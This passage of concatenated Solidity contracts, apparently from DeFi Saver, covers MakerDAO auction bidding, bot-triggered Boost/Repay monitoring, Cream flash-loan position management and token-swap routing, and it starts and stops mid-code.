(10**27)); Vat(VAT_ADDRESS).hope(_flipper); Flipper(_flipper).dent(_bidId, _amount, bid); } function closeBid(uint _bidId, address _flipper, address _joinAddr) public { bytes32 ilk = Join(_joinAddr).ilk(); Flipper(_flipper).deal(_bidId); uint amount = Vat(VAT_ADDRESS).gem(ilk, address(this)); Vat(VAT_ADDRESS).hope(_joinAddr); Gem(_joinAddr).exit(msg.sender, amount); } function exitCollateral(address _joinAddr) public { bytes32 ilk = Join(_joinAddr).ilk(); uint amount = Vat(VAT_ADDRESS).gem(ilk, address(this)); if(Join(_joinAddr).dec() != 18) { amount = amount / (10**(18 - Join(_joinAddr).dec())); } Vat(VAT_ADDRESS).hope(_joinAddr); Gem(_joinAddr).exit(msg.sender, amount); } function exitDai() public { uint amount = Vat(VAT_ADDRESS).dai(address(this)) / (10**27); Vat(VAT_ADDRESS).hope(DAI_JOIN); Gem(DAI_JOIN).exit(msg.sender, amount); } function withdrawToken(address _token) public { uint balance = ERC20(_token).balanceOf(address(this)); ERC20(_token).transfer(msg.sender, balance); } function withdrawEth() public { uint balance = address(this).balance; msg.sender.transfer(balance); } function joinDai(uint _amount) internal { uint amountInVat = Vat(VAT_ADDRESS).dai(address(this)) / (10**27); if (_amount > amountInVat) { uint amountDiff = (_amount - amountInVat) + 1; ERC20(DAI_ADDRESS).transferFrom(msg.sender, address(this), amountDiff); ERC20(DAI_ADDRESS).approve(DAI_JOIN, amountDiff); Join(DAI_JOIN).join(address(this), amountDiff); } } } pragma solidity ^0.6.0; abstract contract Flipper { function bids(uint _bidId) public virtual returns (uint256, uint256, address, uint48, uint48, address, address, uint256); function tend(uint id, uint lot, uint bid) virtual external; function dent(uint id, uint lot, uint bid) virtual external; function deal(uint id) virtual external; } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../interfaces/Manager.sol"; import "../../interfaces/Vat.sol"; import "../../interfaces/Spotter.sol"; import "../../DS/DSMath.sol"; import "../../auth/AdminAuth.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../utils/GasBurner.sol"; import "../../utils/BotRegistry.sol"; import "../../exchangeV3/DFSExchangeData.sol"; import "./ISubscriptionsV2.sol"; import "./StaticV2.sol"; import "./MCDMonitorProxyV2.sol"; /// @title Implements logic that allows bots to call Boost and Repay contract MCDMonitorV2 is DSMath, AdminAuth, GasBurner, StaticV2 { uint public REPAY_GAS_TOKEN = 25; uint public BOOST_GAS_TOKEN = 25; uint public MAX_GAS_PRICE = 500000000000; // 500 gwei uint public REPAY_GAS_COST = 1000000; uint public BOOST_GAS_COST = 1000000; bytes4 public REPAY_SELECTOR = 0xf360ce20; bytes4 public BOOST_SELECTOR = 0x8ec2ae25; MCDMonitorProxyV2 public monitorProxyContract; ISubscriptionsV2 public subscriptionsContract; address public mcdSaverTakerAddress; address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; address public constant PROXY_PERMISSION_ADDR = 0x5a4f877CA808Cca3cB7c2A194F80Ab8588FAE26B; Manager public manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); Vat public vat = Vat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B); Spotter public spotter = Spotter(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3); DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); modifier onlyApproved() { require(BotRegistry(BOT_REGISTRY_ADDRESS).botList(msg.sender), "Not auth bot"); _; } constructor(address _monitorProxy, address _subscriptions, address _mcdSaverTakerAddress) public { monitorProxyContract = MCDMonitorProxyV2(_monitorProxy); subscriptionsContract = ISubscriptionsV2(_subscriptions); mcdSaverTakerAddress = _mcdSaverTakerAddress; } /// @notice Bots call this method to repay for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction function repayFor( DFSExchangeData.ExchangeData memory _exchangeData, uint _cdpId, uint _nextPrice, address _joinAddr ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _cdpId, _nextPrice); require(isAllowed); uint gasCost = calcGasCost(REPAY_GAS_COST); address owner = subscriptionsContract.getOwner(_cdpId); monitorProxyContract.callExecute{value: msg.value}( owner, mcdSaverTakerAddress, abi.encodeWithSelector(REPAY_SELECTOR, _exchangeData, _cdpId, gasCost, _joinAddr, 0)); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _cdpId, _nextPrice); require(isGoodRatio); returnEth(); logger.Log(address(this), owner, "AutomaticMCDRepay", abi.encode(ratioBefore, ratioAfter)); } /// @notice Bots call this method to boost for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction function boostFor( DFSExchangeData.ExchangeData memory _exchangeData, uint _cdpId, uint _nextPrice, address _joinAddr ) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _cdpId, _nextPrice); require(isAllowed); uint gasCost = calcGasCost(BOOST_GAS_COST); address owner = subscriptionsContract.getOwner(_cdpId); monitorProxyContract.callExecute{value: msg.value}( owner, mcdSaverTakerAddress, abi.encodeWithSelector(BOOST_SELECTOR, _exchangeData, _cdpId, gasCost, _joinAddr, 0)); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _cdpId, _nextPrice); require(isGoodRatio); returnEth(); logger.Log(address(this), owner, "AutomaticMCDBoost", abi.encode(ratioBefore, ratioAfter)); } /******************* INTERNAL METHODS ********************************/ function returnEth() internal { // return if some eth left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /******************* STATIC METHODS ********************************/ /// @notice Returns an address that owns the CDP /// @param _cdpId Id of the CDP function getOwner(uint _cdpId) public view returns(address) { return manager.owns(_cdpId); } /// @notice Gets CDP info (collateral, debt) /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getCdpInfo(uint _cdpId, bytes32 _ilk) public view returns (uint, uint) { address urn = manager.urns(_cdpId); (uint collateral, uint debt) = vat.urns(_ilk, urn); (,uint rate,,,) = vat.ilks(_ilk); return (collateral, rmul(debt, rate)); } /// @notice Gets a price of the asset /// @param _ilk Ilk of the CDP function getPrice(bytes32 _ilk) public view returns (uint) { (, uint mat) = spotter.ilks(_ilk); (,,uint spot,,) = vat.ilks(_ilk); return rmul(rmul(spot, spotter.par()), mat); } /// @notice Gets CDP ratio /// @param _cdpId Id of the CDP /// @param _nextPrice Next price for user function getRatio(uint _cdpId, uint _nextPrice) public view returns (uint) { bytes32 ilk = manager.ilks(_cdpId); uint price = (_nextPrice == 0) ? getPrice(ilk) : _nextPrice; (uint collateral, uint debt) = getCdpInfo(_cdpId, ilk); if (debt == 0) return 0; return rdiv(wmul(collateral, price), debt) / (10 ** 18); } /// @notice Checks if Boost/Repay could be triggered for the CDP /// @dev Called by MCDMonitor to enforce the min/max check function canCall(Method _method, uint _cdpId, uint _nextPrice) public view returns(bool, uint) { bool subscribed; CdpHolder memory holder; (subscribed, holder) = subscriptionsContract.getCdpHolder(_cdpId); // check if cdp is subscribed if (!subscribed) return (false, 0); // check if using next price is allowed if (_nextPrice > 0 && !holder.nextPriceEnabled) return (false, 0); // check if boost and boost allowed if (_method == Method.Boost && !holder.boostEnabled) return (false, 0); // check if owner is still owner if (getOwner(_cdpId) != holder.owner) return (false, 0); uint currRatio = getRatio(_cdpId, _nextPrice); if (_method == Method.Repay) { return (currRatio < holder.minRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.maxRatio, currRatio); } } /// @dev After the Boost/Repay check if the ratio doesn't trigger another call function ratioGoodAfter(Method _method, uint _cdpId, uint _nextPrice) public view returns(bool, uint) { CdpHolder memory holder; (, holder) = subscriptionsContract.getCdpHolder(_cdpId); uint currRatio = getRatio(_cdpId, _nextPrice); if (_method == Method.Repay) { return (currRatio < holder.maxRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.minRatio, currRatio); } } /// @notice Calculates gas cost (in Eth) of tx /// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP /// @param _gasAmount Amount of gas used for the tx function calcGasCost(uint _gasAmount) public view returns (uint) { uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE; return mul(gasPrice, _gasAmount); } /******************* OWNER ONLY OPERATIONS ********************************/ /// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions /// @param _gasCost New gas cost for boost method function changeBoostGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); BOOST_GAS_COST = _gasCost; } /// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions /// @param _gasCost New gas cost for repay method function changeRepayGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); REPAY_GAS_COST = _gasCost; } /// @notice Allows owner to change max gas price /// @param _maxGasPrice New max gas price function changeMaxGasPrice(uint _maxGasPrice) public onlyOwner { require(_maxGasPrice < 500000000000); MAX_GAS_PRICE = _maxGasPrice; } /// @notice Allows owner to change the amount of gas token burned per function call /// @param _gasAmount Amount of gas token /// @param _isRepay Flag to know for which function we are setting the gas token amount function changeGasTokenAmount(uint _gasAmount, bool _isRepay) public onlyOwner { if (_isRepay) { REPAY_GAS_TOKEN = _gasAmount; } else { BOOST_GAS_TOKEN = _gasAmount; } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./StaticV2.sol"; abstract contract ISubscriptionsV2 is StaticV2 { function getOwner(uint _cdpId) external view virtual returns(address); function getSubscribedInfo(uint _cdpId) public view virtual returns(bool, uint128, uint128, uint128, uint128, address, uint coll, uint debt); function getCdpHolder(uint _cdpId) public view virtual returns (bool subscribed, CdpHolder memory); } pragma solidity ^0.6.0; import "../../interfaces/DSProxyInterface.sol"; import "../../interfaces/ERC20.sol"; import "../../auth/AdminAuth.sol"; /// @title Implements logic for calling MCDSaverProxy always from same contract contract MCDMonitorProxyV2 is AdminAuth { uint public CHANGE_PERIOD; uint public MIN_CHANGE_PERIOD = 6 * 1 hours; address public monitor; address public newMonitor; address public lastMonitor; uint public changeRequestedTimestamp; event MonitorChangeInitiated(address oldMonitor, address newMonitor); event MonitorChangeCanceled(); event MonitorChangeFinished(address monitor); event MonitorChangeReverted(address monitor); modifier onlyMonitor() { require (msg.sender == monitor); _; } constructor(uint _changePeriod) public { CHANGE_PERIOD = _changePeriod * 1 hours; } /// @notice Only monitor contract is able to call execute on users proxy /// @param _owner Address of cdp owner (users DSProxy address) /// @param _saverProxy Address of MCDSaverProxy /// @param _data Data to send to MCDSaverProxy function callExecute(address _owner, address _saverProxy, bytes memory _data) public payable onlyMonitor { // execute reverts if calling specific method fails DSProxyInterface(_owner).execute{value: msg.value}(_saverProxy, _data); // return if anything left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /// @notice Allowed users are able to set Monitor contract without any waiting period first time /// @param _monitor Address of Monitor contract function setMonitor(address _monitor) public onlyOwner { require(monitor == address(0)); monitor = _monitor; } /// @notice Allowed users are able to start procedure for changing monitor /// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change /// @param _newMonitor address of new monitor function changeMonitor(address _newMonitor) public onlyOwner { require(changeRequestedTimestamp == 0); changeRequestedTimestamp = now; lastMonitor = monitor; newMonitor = _newMonitor; emit MonitorChangeInitiated(lastMonitor, newMonitor); } /// @notice At any point allowed users are able to cancel monitor change function cancelMonitorChange() public onlyOwner { require(changeRequestedTimestamp > 0); changeRequestedTimestamp = 0; newMonitor = address(0); emit MonitorChangeCanceled(); } /// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started function confirmNewMonitor() public onlyOwner { require((changeRequestedTimestamp + CHANGE_PERIOD) < now); require(changeRequestedTimestamp != 0); require(newMonitor != address(0)); monitor = newMonitor; newMonitor = address(0); changeRequestedTimestamp = 0; emit MonitorChangeFinished(monitor); } /// @notice Its possible to revert monitor to last used monitor function revertMonitor() public onlyOwner { require(lastMonitor != address(0)); monitor = lastMonitor; emit MonitorChangeReverted(monitor); } function setChangePeriod(uint _periodInHours) public onlyOwner { require(_periodInHours * 1 hours > MIN_CHANGE_PERIOD); CHANGE_PERIOD = _periodInHours * 1 hours; } } pragma solidity ^0.6.0; import "../../interfaces/CEtherInterface.sol"; import "../../interfaces/CompoundOracleInterface.sol"; import "../../interfaces/CTokenInterface.sol"; import "../../interfaces/ComptrollerInterface.sol"; import "../../interfaces/IFeeRecipient.sol"; import "../../utils/Discount.sol"; import "../../DS/DSMath.sol"; import "../../DS/DSProxy.sol"; import "../../compound/helpers/Exponential.sol"; import "../../utils/BotRegistry.sol"; import "../../utils/SafeERC20.sol"; /// @title Utlity functions for cream contracts contract CreamSaverHelper is DSMath, Exponential { using SafeERC20 for ERC20; IFeeRecipient public constant feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0xD06527D5e56A3495252A528C4987003b712860eE; address public constant COMPTROLLER = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258; address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; /// @notice Helper method to payback the cream debt /// @dev If amount is bigger it will repay the whole debt and send the extra to the _user /// @param _amount Amount of tokens we want to repay /// @param _cBorrowToken Ctoken address we are repaying /// @param _borrowToken Token address we are repaying /// @param _user Owner of the cream position we are paying back function paybackDebt(uint _amount, address _cBorrowToken, address _borrowToken, address payable _user) internal { uint wholeDebt = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(address(this)); if (_amount > wholeDebt) { if (_borrowToken == ETH_ADDRESS) { _user.transfer((_amount - wholeDebt)); } else { ERC20(_borrowToken).safeTransfer(_user, (_amount - wholeDebt)); } _amount = wholeDebt; } approveCToken(_borrowToken, _cBorrowToken); if (_borrowToken == ETH_ADDRESS) { CEtherInterface(_cBorrowToken).repayBorrow{value: _amount}(); } else { require(CTokenInterface(_cBorrowToken).repayBorrow(_amount) == 0); } } /// @notice Calculates the fee amount /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getFee(uint _amount, address _user, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { uint fee = MANUAL_SERVICE_FEE; if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) { fee = AUTOMATIC_SERVICE_FEE; } address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint ethTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); _gasCost = wdiv(_gasCost, ethTokenPrice); feeAmount = add(feeAmount, _gasCost); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } address walletAddr = feeRecipient.getFeeAddr(); if (tokenAddr == ETH_ADDRESS) { payable(walletAddr).transfer(feeAmount); } else { ERC20(tokenAddr).safeTransfer(walletAddr, feeAmount); } } /// @notice Calculates the gas cost of transaction and send it to wallet /// @param _amount Amount that is converted /// @param _gasCost Ether amount of gas we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getGasCost(uint _amount, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint ethTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); feeAmount = wdiv(_gasCost, ethTokenPrice); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } address walletAddr = feeRecipient.getFeeAddr(); if (tokenAddr == ETH_ADDRESS) { payable(walletAddr).transfer(feeAmount); } else { ERC20(tokenAddr).safeTransfer(walletAddr, feeAmount); } } /// @notice Enters the market for the collatera and borrow tokens /// @param _cTokenAddrColl Collateral address we are entering the market in /// @param _cTokenAddrBorrow Borrow address we are entering the market in function enterMarket(address _cTokenAddrColl, address _cTokenAddrBorrow) internal { address[] memory markets = new address[](2); markets[0] = _cTokenAddrColl; markets[1] = _cTokenAddrBorrow; ComptrollerInterface(COMPTROLLER).enterMarkets(markets); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveCToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } /// @notice Returns the underlying address of the cToken asset /// @param _cTokenAddress cToken address /// @return Token address of the cToken specified function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } /// @notice Returns the owner of the DSProxy that called the contract function getUserAddress() internal view returns (address) { DSProxy proxy = DSProxy(uint160(address(this))); return proxy.owner(); } /// @notice Returns the maximum amount of collateral available to withdraw /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cCollAddress Collateral we are getting the max value of /// @param _account Users account /// @return Returns the max. collateral amount in that token function getMaxCollateral(address _cCollAddress, address _account) public returns (uint) { (, uint liquidityInEth, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); uint usersBalance = CTokenInterface(_cCollAddress).balanceOfUnderlying(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); if (liquidityInEth == 0) return usersBalance; CTokenInterface(_cCollAddress).accrueInterest(); if (_cCollAddress == CETH_ADDRESS) { if (liquidityInEth > usersBalance) return usersBalance; return sub(liquidityInEth, (liquidityInEth / 100)); } uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cCollAddress); uint liquidityInToken = wdiv(liquidityInEth, ethPrice); if (liquidityInToken > usersBalance) return usersBalance; return sub(liquidityInToken, (liquidityInToken / 100)); // cut off 1% due to rounding issues } /// @notice Returns the maximum amount of borrow amount available /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cBorrowAddress Borrow token we are getting the max value of /// @param _account Users account /// @return Returns the max. borrow amount in that token function getMaxBorrow(address _cBorrowAddress, address _account) public returns (uint) { (, uint liquidityInEth, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); CTokenInterface(_cBorrowAddress).accrueInterest(); if (_cBorrowAddress == CETH_ADDRESS) return sub(liquidityInEth, (liquidityInEth / 100)); uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cBorrowAddress); uint liquidityInToken = wdiv(liquidityInEth, ethPrice); return sub(liquidityInToken, (liquidityInToken / 100)); // cut off 1% due to rounding issues } } pragma solidity ^0.6.0; abstract contract CEtherInterface { function mint() external virtual payable; function repayBorrow() external virtual payable; } pragma solidity ^0.6.0; abstract contract CompoundOracleInterface { function getUnderlyingPrice(address cToken) external view virtual returns (uint); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/SafeERC20.sol"; import "../../exchange/SaverExchangeCore.sol"; import "../../interfaces/CTokenInterface.sol"; import "../../utils/Discount.sol"; import "../helpers/CreamSaverHelper.sol"; import "../../loggers/DefisaverLogger.sol"; /// @title Implements the actual logic of Repay/Boost with FL contract CreamSaverFlashProxy is SaverExchangeCore, CreamSaverHelper { address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; using SafeERC20 for ERC20; /// @notice Repays the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for transaction /// @param _flashLoanData Data about FL [amount, fee] function flashRepay( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1]; uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); // draw max coll require(CTokenInterface(_cAddresses[0]).redeemUnderlying(maxColl) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // swap max coll + loanAmount _exData.srcAmount = maxColl + _flashLoanData[0]; (,swapAmount) = _sell(_exData); // get fee swapAmount -= getFee(swapAmount, user, _gasCost, _cAddresses[1]); } else { swapAmount = (maxColl + _flashLoanData[0]); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } // payback debt paybackDebt(swapAmount, _cAddresses[1], borrowToken, user); // draw collateral for loanAmount + loanFee require(CTokenInterface(_cAddresses[0]).redeemUnderlying(flashBorrowed) == 0); // repay flash loan returnFlashLoan(collToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CreamRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Boosts the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction /// @param _flashLoanData Data about FL [amount, fee] function flashBoost( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = _flashLoanData[0] + _flashLoanData[1]; // borrow max amount uint borrowAmount = getMaxBorrow(_cAddresses[1], address(this)); require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // get dfs fee borrowAmount -= getFee((borrowAmount + _flashLoanData[0]), user, _gasCost, _cAddresses[1]); _exData.srcAmount = (borrowAmount + _flashLoanData[0]); (,swapAmount) = _sell(_exData); } else { swapAmount = (borrowAmount + _flashLoanData[0]); swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } // deposit swaped collateral depositCollateral(collToken, _cAddresses[0], swapAmount); // borrow token to repay flash loan require(CTokenInterface(_cAddresses[1]).borrow(flashBorrowed) == 0); // repay flash loan returnFlashLoan(borrowToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CreamBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Helper method to deposit tokens in Compound /// @param _collToken Token address of the collateral /// @param _cCollToken CToken address of the collateral /// @param _depositAmount Amount to deposit function depositCollateral(address _collToken, address _cCollToken, uint _depositAmount) internal { approveCToken(_collToken, _cCollToken); if (_collToken != ETH_ADDRESS) { require(CTokenInterface(_cCollToken).mint(_depositAmount) == 0); } else { CEtherInterface(_cCollToken).mint{value: _depositAmount}(); // reverts on fail } } /// @notice Returns the tokens/ether to the msg.sender which is the FL contract /// @param _tokenAddr Address of token which we return /// @param _amount Amount to return function returnFlashLoan(address _tokenAddr, uint _amount) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeTransfer(msg.sender, _amount); } msg.sender.transfer(address(this).balance); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../DS/DSMath.sol"; import "../interfaces/TokenInterface.sol"; import "../interfaces/ExchangeInterfaceV2.sol"; import "../utils/ZrxAllowlist.sol"; import "./SaverExchangeHelper.sol"; import "./SaverExchangeRegistry.sol"; contract SaverExchangeCore is SaverExchangeHelper, DSMath { // first is empty to keep the legacy order in place enum ExchangeType { _, OASIS, KYBER, UNISWAP, ZEROX } enum ActionType { SELL, BUY } struct ExchangeData { address srcAddr; address destAddr; uint srcAmount; uint destAmount; uint minPrice; address wrapper; address exchangeAddr; bytes callData; uint256 price0x; } /// @notice Internal method that preforms a sell on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and destAmount function _sell(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; uint tokensLeft = exData.srcAmount; // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } // Try 0x first and then fallback on specific wrapper if (exData.price0x > 0) { approve0xProxy(exData.srcAddr, exData.srcAmount); uint ethAmount = getProtocolFee(exData.srcAddr, exData.srcAmount); (success, swapedTokens, tokensLeft) = takeOrder(exData, ethAmount, ActionType.SELL); if (success) { wrapper = exData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.SELL); wrapper = exData.wrapper; } require(getBalance(exData.destAddr) >= wmul(exData.minPrice, exData.srcAmount), "Final amount isn't correct"); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, swapedTokens); } /// @notice Internal method that preforms a buy on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and srcAmount function _buy(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; require(exData.destAmount != 0, "Dest amount must be specified"); // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } if (exData.price0x > 0) { approve0xProxy(exData.srcAddr, exData.srcAmount); uint ethAmount = getProtocolFee(exData.srcAddr, exData.srcAmount); (success, swapedTokens,) = takeOrder(exData, ethAmount, ActionType.BUY); if (success) { wrapper = exData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.BUY); wrapper = exData.wrapper; } require(getBalance(exData.destAddr) >= exData.destAmount, "Final amount isn't correct"); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, getBalance(exData.destAddr)); } /// @notice Takes order from 0x and returns bool indicating if it is successful /// @param _exData Exchange data /// @param _ethAmount Ether fee needed for 0x order function takeOrder( ExchangeData memory _exData, uint256 _ethAmount, ActionType _type ) private returns (bool success, uint256, uint256) { // write in the exact amount we are selling/buing in an order if (_type == ActionType.SELL) { writeUint256(_exData.callData, 36, _exData.srcAmount); } else { writeUint256(_exData.callData, 36, _exData.destAmount); } if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isNonPayableAddr(_exData.exchangeAddr)) { _ethAmount = 0; } uint256 tokensBefore = getBalance(_exData.destAddr); if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isZrxAddr(_exData.exchangeAddr)) { (success, ) = _exData.exchangeAddr.call{value: _ethAmount}(_exData.callData); } else { success = false; } uint256 tokensSwaped = 0; uint256 tokensLeft = _exData.srcAmount; if (success) { // check to see if any _src tokens are left over after exchange tokensLeft = getBalance(_exData.srcAddr); // convert weth -> eth if needed if (_exData.destAddr == KYBER_ETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } // get the current balance of the swaped tokens tokensSwaped = getBalance(_exData.destAddr) - tokensBefore; } return (success, tokensSwaped, tokensLeft); } /// @notice Calls wraper contract for exchage to preform an on-chain swap /// @param _exData Exchange data struct /// @param _type Type of action SELL|BUY /// @return swapedTokens For Sell that the destAmount, for Buy thats the srcAmount function saverSwap(ExchangeData memory _exData, ActionType _type) internal returns (uint swapedTokens) { require(SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.wrapper), "Wrapper is not valid"); uint ethValue = 0; ERC20(_exData.srcAddr).safeTransfer(_exData.wrapper, _exData.srcAmount); if (_type == ActionType.SELL) { swapedTokens = ExchangeInterfaceV2(_exData.wrapper). sell{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.srcAmount); } else { swapedTokens = ExchangeInterfaceV2(_exData.wrapper). buy{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.destAmount); } } function writeUint256(bytes memory _b, uint256 _index, uint _input) internal pure { if (_b.length < _index + 32) { revert("Incorrent lengt while writting bytes32"); } bytes32 input = bytes32(_input); _index += 32; // Read the bytes32 from array memory assembly { mstore(add(_b, _index), input) } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } /// @notice Calculates protocol fee /// @param _srcAddr selling token address (if eth should be WETH) /// @param _srcAmount amount we are selling function getProtocolFee(address _srcAddr, uint256 